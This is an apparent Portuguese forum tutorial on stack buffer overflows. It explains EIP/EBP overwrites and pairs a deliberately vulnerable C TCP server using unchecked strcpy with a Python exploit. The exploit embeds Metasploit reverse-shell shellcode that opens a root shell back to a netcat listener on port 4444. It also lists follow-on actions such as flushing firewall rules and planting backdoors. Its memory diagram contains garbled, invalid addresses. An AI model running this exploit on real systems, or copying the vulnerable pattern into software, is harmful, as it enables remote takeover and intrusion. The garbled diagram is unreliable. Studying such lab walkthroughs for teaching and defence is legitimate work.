Buffer Overflow
O famoso estouro de buffer
• Um pouco de Historia
O Buffer overflow não é coisa da atualidade, não é uma técnica nova ou atual.
Dizem que na década de 70 já havia idéia do problema, na época os programas.
Feito em C estavam se expandindo muito, à medida que o tempo passava, havia
Um grande crescimento de programadores, mas estava diminuindo o cuidado na.
Hora de programar.
• O que é um Buffer Overflow?
O Buffer overflow é provocado por um erro de programação que gera um vazamento
no acesso da memória. Ele ocorre quando um processo tentar armazenar dado além
Dos limites do buffer de tamanha determinado, assim sobrescrevendo áreas de memórias.
Adjacentes a esse buffer, incluindo alguns endereços de controle de fluxo ou ponteiro.
de memória utilizada pelo processador, o que normalmente causa um erro de "Segmenmation Fault",
Provocando a finalização do programa.
Esses “endereços de controle de fluxo”, na realidade, são ponteiros para a próxima instrução a ser executada pelo processador e se cuidadosamente sobrepostos, podem provocar um desvio no fluxo de execução normal do programa para o código maléfico do atacante.
Código:
BUFFER EBP EIP ------------------------------------------------------------------- | AAAAAAAAAAAAAAAAAAAAA | 0xffdea521 | 0xf5abdee2 | ------------------------------------------------------------------- Buffer em estado normal Endereço padrão Valor enviado pelo atacante (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0fc8xaae054 x0as5xa9w) BUFFER EBP EIP ------------------------------------------------------------------- | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| 0fc8xaae054 | x0as5xa9w | ------------------------------------------------------------------- Buffer (apos o ataque) Endereça totalmente alterado
No exemplo acima nos podemos ver que o atacante enviou dados além do que o buffer
Suportava assim alterando as zonas EBP e EIP.
• Atacando
Eu tenho aqui um programa escrito na linguajem C, o programa se se comporta como um.
Servidor, escutando uma porta TCP e ao receber um dado por essa porta, exibe no console.
E envia novamente a mensagem ao cliente (atacante).
Server
Código:
#include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <stdlib.h> #include <stdio.h> void error(char *msg) { perror(msg); exit(1); } void viewer(char *string) { //declaracao de char buffer char buffer[1024]; //a string do parametro eh copiada nesse buffer strcpy(buffer,string); //e depois mostrada na stdout printf("Mensagem recebida: %s\n",buffer); fflush; } int main(int argc, char *argv[]) { int sockfd, newsockfd, portno, clilen; char buffer[2000]; struct sockaddr_in serv_addr, cli_addr; int n; if (argc < 2) { fprintf(stderr,"ERRO: porta nao especificada.\n"); exit(1); } sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) error("ERRO ao abrir socket"); bzero((char *) &serv_addr, sizeof(serv_addr)); portno = atoi(argv[1]); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(portno); if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) error("ERRO de 'bind'"); listen(sockfd,5); clilen = sizeof(cli_addr); while(1) { newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); if (newsockfd < 0) error("ERRO na recepcao"); bzero(buffer,256); n = read(newsockfd,buffer,2000); if (n < 0) error("ERRO na leitura do socket"); viewer(buffer); n = write(newsockfd,"A mensagem foi recebida pelo servidor.", strlen("A mensagem foi recebida pelo servidor.")); if (n < 0) error("ERROR na gravacao do socket"); } return 0; }
No código podemos observar que o programa define o tamanho do buffer,
mas não faz nenhuma verificação quanto ao tamanha do dado enviado.
Desse jeito podemos enviar pacote com 1028 bytes assim alterando as
zonas EIP e EBP.
Na demonstração, compilamos e executamos esse programa servidor numa máquina virtual Vmware, com sistema operacional Debian 4.0, kernel 2.6.18-6-486, enderço ip 172.16.56.128, porta 1025. O ataque parte da máquina hospedeira, Ubuntu 8.04., ip 172.16.56.1.
Para realizar o ataque, utilizamos um script em python com o payload ou shellcode (código malicioso) gerado pelo metasploit e realizar uma conexão reversa do servidor para o cliente na porta 4444.
Código:
#!/usr/bin/env python import socket import getopt import sys host = "172.16.56.128" port = 1025 # linux_ia32_reverse - LHOST=172.16.56.1 LPORT=4444 Size=202 Encoder=Alpha2 Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... shellcode = \ "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x37\x49\x49\x49" \ "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x45" \ "\x58\x50\x30\x41\x31\x41\x42\x6b\x41\x41\x55\x41\x32\x41\x41\x32" \ "\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x48\x69\x36\x51\x6b" \ "\x6b\x31\x43\x77\x33\x73\x63\x31\x7a\x46\x62\x41\x7a\x33\x56\x36" \ "\x38\x4b\x39\x49\x71\x78\x4d\x4b\x30\x4f\x63\x33\x69\x4c\x70\x65" \ "\x6f\x68\x4d\x6f\x70\x57\x39\x74\x39\x4b\x49\x33\x6b\x41\x4a\x42" \ "\x48\x4c\x6c\x44\x50\x56\x58\x44\x41\x75\x36\x30\x68\x72\x31\x61" \ "\x4c\x73\x73\x33\x56\x43\x63\x4e\x69\x4b\x51\x6e\x50\x51\x76\x62" \ "\x70\x42\x71\x52\x73\x6c\x49\x48\x61\x30\x43\x68\x4d\x6d\x50\x63" \ "\x62\x42\x48\x74\x6f\x54\x6f\x63\x43\x52\x48\x35\x38\x36\x4f\x61" \ "\x72\x70\x69\x30\x6e\x4c\x49\x6a\x43\x61\x42\x63\x63\x4b\x39\x79" \ "\x71\x6e\x50\x76\x6b\x4a\x6d\x4b\x30\x45" retaddr = "\x77\xe7\xff\xff" buff = "A" * 1028 + retaddr + shellcode + "\x00" sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((host, port)) sock.send(buff) sock.close() sock = None
• Realizando o ataque
Inicialmente, colocamos o servidor para executar no Debian, rodando na VM, escutando a porta 1025.
Na máquina hospedeira, numa sessão shell, colocamos o netcat escutando na porta 4444 para receber a conexão de retorno.
Em outra sessão shell, executamos o nmap que confirma a existência do serviço (no caso, porta 1025) e em seguida, executamos o exploit.
No shell do netcat recebemos a conexão de callback do servidor, onde podemos digitar qualquer comando, herdando as permissões da conta em que o servidor é executado (no nosso caso root).
O uso da técnica de callback serve para burlar as regras do firewall, iniciando uma conexão da rede interna para a rede externa.
• Conclusões
Apesar de ser de difícil execução, por depender de endereços de memória específicos para cada compilação/versão de software e sistema operacional, uma vez elaborado o exploit para determinada versão, sua execução é trivial e extremamente perigosa pelo resultado que o atacante pode obter.
Esses ataques podem retornar uma shell para o atacante, executar um flush no iptables (remover todas as regras do firewall), incluir contas de usuário, enviar e instalar um backdoor, etc.
Desenvolvido por JB
Aviso: Este artigo tem como objetivo apenas de alertar tal
problemas existentes, este artigo possui somente objetivo.
Educacionais.
Exploits by Google
Referencias
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Comment